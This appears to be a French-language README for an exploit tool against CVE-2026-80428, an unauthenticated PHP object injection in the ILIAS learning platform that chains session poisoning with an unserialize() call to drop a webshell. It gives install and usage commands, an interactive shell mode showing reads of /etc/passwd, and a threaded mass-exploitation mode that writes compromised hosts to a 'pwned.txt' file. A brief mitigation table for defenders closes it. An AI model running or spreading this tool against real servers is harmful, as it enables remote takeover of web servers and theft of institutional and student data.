
ILIAS ≤ 9.21 / 10.9 / 11.2 — Injection d'objet PHP non authentifiée (RCE)
CVE-2026-80428Vecteur : Point de terminaison de déconnexion back-channel Shibboleth
Impact : Exécution de code à distance complète en tant qu'utilisateur du serveur web
Gravité : 🔴 CRITIQUE
CVE-2026-80428 est une vulnérabilité critique d'injection d'objet PHP non authentifiée affectant le système de gestion de l'apprentissage ILIAS. En enchaînant une primitive d'empoisonnement de session dans
ltiauth.phpavec un appelunserialize()non sécurisé dansshib_logout.php, un attaquant peut parvenir à une écriture arbitraire de fichiers et finalement à une exécution de code à distance (RCE) — le tout sans authentification.
| 🎯 Paramètre | 📋 Valeur |
|---|---|
| ID CVE | CVE-2026-80428 |
| Type | Injection d'objet PHP → RCE |
| Authentification requise | ❌ Aucune |
| Vecteur d'attaque | Réseau (HTTP/HTTPS) |
| Score CVSS | 9.8 (Critique) |
flowchart LR
A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
B -->|Serialized Guzzle Gadget| C[PHP Session Store]
C -->|2. Trigger unserialize| D[shib_logout.php]
D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
E -->|3. file_put_contents| F[💀 Webshell Dropped]
F -->|4. Execute| G[🔓 RCE]
style A fill:#ff4444,color:#fff
style F fill:#ff0000,color:#fff
style G fill:#8b0000,color:#fff
Étape par étape :
ltiauth.php stocke une charge utile sérialisée dans la session PHP sans validation.shib_logout.php traite une requête SOAP Shibboleth LogoutNotification forgée et appelle unserialize() sur les données de session.GuzzleHttp\Cookie\FileCookieJar invoque file_put_contents() pour déposer un webshell PHP à un emplacement contrôlé par l'attaquant.| 🏷️ Branche | ❌ Vulnérable | ✅ Corrigée |
|---|---|---|
| 9.x | ≤ 9.21 | ≥ 9.22 |
| 10.x | ≤ 10.9 | ≥ 10.10 |
| 11.x | ≤ 11.2 | ≥ 11.3 |
🔥 Cœur
|
💎 Confort d'utilisation
|
# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428
# Install dependencies
pip install requests urllib3
# (Optional) Make executable
chmod +x CVE-2026-80428.py
Prérequis :
3.8+requestsurllib3python3 CVE-2026-80428.py <mode> [options]
python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal
Options :
| Option | Description | Par défaut |
|---|---|---|
--port | Port cible | 443 |
--path | Docroot ILIAS sur le disque | /var/www/ilias/public |
--host-header | En-tête Host personnalisé | — |
--timeout | Délai d'expiration de la requête (s) | 30 |
python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
ilias$ exit
python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt
Options :
| Option | Description | Valeur par défaut |
|---|---|---|
-l, --list | Obligatoire — Fichier de liste des cibles | — |
-t, --threads | Workers simultanés | 20 |
-o, --output | Fichier de sortie pour les cibles vulnérables | ilias_vuln.txt |
--path | Docroot ILIAS | /var/www/ilias/public |
--host-header | En-tête Host personnalisé | — |
--timeout | Délai d'expiration des requêtes (s) | 30 |
Créez un fichier targets.txt :
# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080
# Mixed formats are supported
example.org
Formats pris en charge :
hosthost:porthttp://hosthttps://host:porthost/path (chemin supprimé) [ 42/500] VULN 10.10.10.20:443 https://10.10.10.20:443/util_a1b2c3.php?x=id
[ 43/500] SAFE 10.10.10.21:443 [PATCHED]
[ 44/500] ERR 10.10.10.22:8443 [Connection timed out]
[44/500] VULN:12 SAFE:30 ERR:2 8%
Pour les défenseurs et les administrateurs système :
| 🛠️ Action | 📝 Détails |
|---|---|
| 🔼 Mettre à niveau ILIAS | 9.22 / 10.10 / 11.3 ou version ultérieure |
| 🚫 Désactiver Shibboleth | Si non utilisé — supprimer shib_logout.php |
| 🧱 Règles WAF | Bloquer les charges utiles SOAP LogoutNotification malformées |
| 📂 Restreindre l'accès en écriture | La racine web ne doit pas être accessible en écriture par www-data |
| 🔍 Surveiller | Rechercher des fichiers .php inattendus dans les répertoires upload/cache |